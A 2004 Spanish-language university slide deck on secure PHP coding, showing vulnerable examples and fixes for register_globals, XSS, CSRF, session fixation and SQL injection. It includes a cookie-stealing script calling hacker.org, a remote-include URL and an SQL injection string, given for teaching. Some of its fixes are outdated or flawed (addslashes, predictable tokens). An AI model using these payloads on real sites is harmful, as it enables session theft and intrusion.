Está en la página 1de 8

Desarrollo de Cdigo Seguro

22 y 27 de Septiembre de 2004

Facultad Regional Concepcin del Uruguay Universidad Tecnolgica Nacional

Seguridad en PHP
Lineamientos Generales. Filtrado de la Entrada. Utilizacin de Libreras. Diseo en Tres Capas.

Gabriel Arellano
arellanog@frcu.utn.edu.ar

Alejandro de Brito Fontes


debritoa@frcu.utn.edu.ar

Introduccin
PHP es un lenguaje que en casi todos los casos estar soportando aplicaciones accesibles va Internet. Por esto se deben tener en cuenta aspectos de seguridad que normalmente se pasaran por alto en el caso de lenguajes de programacin tradicionales.

Register Globals
La directiva register_globals permite que las variables pasadas por el cliente se registren como variables globales en nuestras aplicaciones. Esta directiva est desabilitada por defecto desde la versin 4.1.0 de PHP.

En principio: Considere los usos ilegtimos de su aplicacin. Filtre la informacin proveniente del exterior. Investigue constantemente. Esta directiva en s no es una vulnerabilidad, pero representa un riesgo de seguridad. Por lo tanto debera disear sus aplicaciones para que funcionen sin register_globals activada.

Register Globals
Tomemos este ejemplo:
<?php include "$path/common.php"; ?>

Register Globals
Recomendaciones: Inicializar todas la variables antes de utilizarlas.

Si register_globals estuviera activada e hiciera una consulta como esta:


script.php?path=http%3A%2F%2Fhacker.org%2F%3F

Establecer error_reporting a E_ALL durante el desarrollo. Siempre tomar los valores de los arreglos _POST y _GET. Evitar trabajar con register_globals activado.

Mi script quedara:

<?php include "http://hacker.org/common.php"; ?>

Filtrado de la Entrada
Como afirmamos varias veces, el filtrado de la informacin que el cliente enva es la pieza fundamental de la seguridad web. Esto involucra establecer mecanismos mediante los cuales se pueda determinar la validez de los datos que estn siendo enviados. Un buen diseo debe ayudar a los desarrolladores a: Asegurar que el filtrado de datos no pueda evitarse. Asegurar que informacin invlida no pueda ser confundida con informacin vlida. Identificar el origen de los datos.

Filtrado de la Entrada
Para lograr los objetivos planteados anteriormente se pueden considerar dos enfoques: El enfoque dispatch (despachador). Un nico script es el que est disponible va web. Todo lo dems son mdulos que se invocan a travs de llamadas include o require. El enfoque include. Contamos con un nico mdulo encargado de las funciones de seguridad. Este mdulo es includo al principio de todos nuestros scripts que estn disponibles va web.

El enfoque dispatch
Este mtodo normalmente requiere que se pase una variable con la operacin a realizar (En lugar de llamar a un script en particular). Por ejemplo:
http://www.compras.com/main.php?accion=imprimir

El enfoque dispatch
<?php /* Medidas de seguridad */ switch ($_GET['accion']){ case 'imprimir': include '/inc/presentation/form.inc'; break; case 'procesar': $form_valid = false; include '/inc/logic/process.inc'; if ($form_valid) { include '/inc/presentation/end.inc'; } else { include '/inc/presentation/form.inc'; } break; default: include '/inc/presentation/index.inc'; break; } ?>

El script main.php es el nico disponible va web. Esto permite al desarrollador: Implementar medidas de seguridad en el script main.php y asegurarse que esas medidas no puedan ser evitadas. Fcilmente verificar que el filtrado de datos es llevado a cabo ya que todos los datos pasan por el script main.php.

El enfoque include
El enfoque include es el de tener unnico mdulo encargado de las funciones de seguridad. Este mdulo es incluido al principio de todos los scripts. Por ejemplo:
<?php switch ($_POST['formulario']){ case 'login': $permitido = array(); $permitido[] = 'formulario'; $permitido[] = 'usuario'; $permitido[] = 'contrasenia'; $enviado = array_keys($_POST); if ($permitido == $enviado){ include '/inc/logic/procesar.inc'; } break; } ?>

Filtrado de la Entrada
En cuanto a los datos recibidos desde el cliente es importante tomar un enfoque de lo que no est explcitamente definido no se considera vlido Por ejemplo, para recibir una direccin de correo:
<?php $validos = array(); $email_pattern='/^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'; if (preg_match($email_pattern, $_POST['email'])){ $validas['email'] = $_POST['email']; } ?>

Este enfoque es difcil y hasta imposible de implementar cuando no sabemos el tipo de dato que vamos a manejar.

Filtrado de la Entrada
Tambin es recomendable implementar este enfoque cuando el nmero de opciones o valores aceptables son conocidos de antemano: Por ejemplo:
<?php $validos = array(); switch ($_POST['color']){ case 'rojo': case 'verde': case 'azul': $validos['color'] = $_POST['color']; break; } ?>

Filtrado de la Entrada
Es recomendable tambin asegurarse que los datos enviados sean del mismo tipo que el de la variable que los recibir: Por ejemplo:
<?php $validos = array(); if ($_POST['num1'] == strval(intval($_POST['num1']))){ $validos['num1'] = $_POST['num1']; } if ($_POST['num2'] == strval(floatval($_POST['num2']))){ $validos['num2'] = $_POST['num2']; } ?>

Cross Site Scripting


Los ataques de XSS se basan en explotar la confianza que tienen los usuarios (o sus navegadores) en el sitio que visitan. Miremos este ejemplo de un libro de visitas muy simple:
<form> <input type="text" name="mensaje"><br /> <input type="submit"> </form> <?php if (isset($_GET['mensaje'])){ $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, "{$_GET['mensaje']}<br />"); fclose($fp); } readfile('./mensajes.txt'); ?>

Cross Site Scripting


Dara como resultado algo como esto:

Cross Site Scripting


Qu ocurrira si un visitante deja este mensaje?
<script> document.location = 'http://www.hacker.org/steal_cookies.php?cookies=' + document.cookie </script>

Cross Site Scripting


Una versin ms segura de nuestro libro de visitas:
<form> <input type="text" name="mensaje"><br /> <input type="submit"> </form> <?php if (isset($_GET['mensaje'])){ $mensaje = htmlentities($_GET['mensaje']); $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, '$mensaje<br />'); fclose($fp); } readfile('./mensajes.txt'); ?>

Cada vez que alguien visite la pgina todas sus cookies seran enviadas al script steal_cookies.php ubicado en un sitio distinto al nuestro... Para que este ataque sea efectivo hace falta que el navegador de la vctima tenga JavaScript activado.

Cross Site Request Forgeries


A diferencia de XSS en este tipo de ataques se explota la confianza que un sitio le tiene a sus usuarios. En general se basan en la modificacin de los pedidos que realizan usuarios vlidos. Primero veamos cmo se hace un pedido HTTP:
GET / HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cross Site Request Forgeries


La respuesta al pedido anterior sera por ejemplo:
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57 <html> <img src="http://example.org/image.png" /> </html>

Que generara otro pedido:


GET /image.png HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*

Aqu pedimos la pgina principal de example.org

Mi servidor no tiene manera de distinguir este pedido de un pedido hecho a mano por un usuario malicioso.

Cross Site Request Forgeries

Cross Site Request Forgeries


Una versin ms segura de nuestro libro de visitas:
<?php $token = md5(time()); $fp = fopen('./tokens.txt', 'a'); fwrite($fp, "$token\n"); fclose($fp); ?> <form method="post"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <input type="text" name="message"><br /> <input type="submit"> </form>

Para prevenir este tipo de ataques hay ciertas medidas que podemos tomar: Usar POST en lugar de GET. Usar _POST en lugar de confiarnos en register_globals. No pensar solamente en conveniencia. Forzar el uso de nuestros formularios.

Cross Site Request Forgeries


Una versin ms segura de nuestro libro de visitas (Cont.)
<?php $tokens = file('./tokens.txt'); if (in_array($_POST['token'], $tokens)){ if (isset($_POST['mensaje'])){ $mensaje = htmlentities($_POST['mensaje']); $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, "$mensaje<br />"); fclose($fp); fclose($fp); } } readfile('./mensajes.txt'); ?>

Cross Site Request Forgeries


En lugar del tiempo podemos emplear sesiones y uniqid()
<?php session_start(); if (isset($_POST['message'])){ if ($_POST['token'] == $_SESSION['token']){ $message = htmlentities($_POST['message']); $fp = fopen('./messages.txt', 'a'); fwrite($fp, "$message<br />"); fclose($fp); } } $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; ?>

Este script an tiene alguna vulnerabilidades...

Manejo de Sesiones
La seguridad de las sesiones es un tema complicado, por lo que no es de extraarse que sean el objetivo de muchos ataques. La mayora de los ataques a sesiones implican que el atacante intenta acceder a la sesin de otro usuario. La pieza crucial de informacin para un atacante es el identificador de sesin, ya que es lo nico que necesita el atacante para lograr su objetivo. Existen bsicamente tres mtodos empleados para obtener las credenciales de otro usuario: Prediccin. Captura. Fijacin.

Fijacin de Sesiones
Tomemos como ejemplo el siguiente script:
<?php session_start(); if (!isset($_SESSION['visitas'])){ $_SESSION['visitas'] = 1; } else{ $_SESSION['visitas']++; } echo $_SESSION['visitas']; ?>

Qu ocurrira si yo hiciera un pedido como el siguiente?


http://example.com/script.php?PHPSESSID=1234

Fijacin de Sesiones
Una solucin sera tratar de identificar la fuente de la sesin (el equipo del usuario que inicio la sesin).
<?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])){ if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])){ /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?>

Acceso a Bases de Datos


El usar bases de datos implica que nuestra aplicacin deber conectarse a las mismas y para ello deber emplear las credenciales correspondientes.
<?php $host = 'example.org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); ?>

Este es el tpico script de conexin que encontraremos en casi cualquier aplicacin en php que emplee bases de datos. Este script es llamado por cualquier otro que desee conectarse a la base de datos. Debemos asegurarnos que slo sea accesible a scripts autorizados.

SQL Injection
El usar bases de datos implica que nuestra aplicacin deber conectarse a las mismas y para ello deber emplear las credenciales correspondientes.
<?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', '$reg_password', '{$_POST['reg_email']}')"; ?>

SQL Injection
Supongamos que un usuario malicioso escribe en su nombre de usuario:
bad_guy', 'mypass', ''), ('good_guy

La consulta resultante sera:


<?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES (' bad_guy', 'mypass', ''), ('good_guy','1234','shiflett@php.net')"; ?>

Este script recibe los datos de un formulario donde el usuario escribe su nombre, contrasea y direccin de email.

Con lo cual se crean dos usuarios.

SQL Injection
Lo podramos solucionar con la funcin especfica para mysql:
<?php $username = mysql_escape_string($_POST['reg_username']); $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('$username', '$reg_password', '{$_POST['reg_email']}')"; ?>

Recursos
Libros: Secure PHP Development Mohammed J. Kabir - Ed. Wiley Publishing. Recursos on-line: PHP Security Open Source Convention http://shiflett.org/talks/oscon2004/php-security Open Web Application Security Project http://www.owasp.org/ Cgisecurity http://www.cgisecurity.com

O bien con una solucin ms general:


$username = addslashes($_POST['reg_username']);

También podría gustarte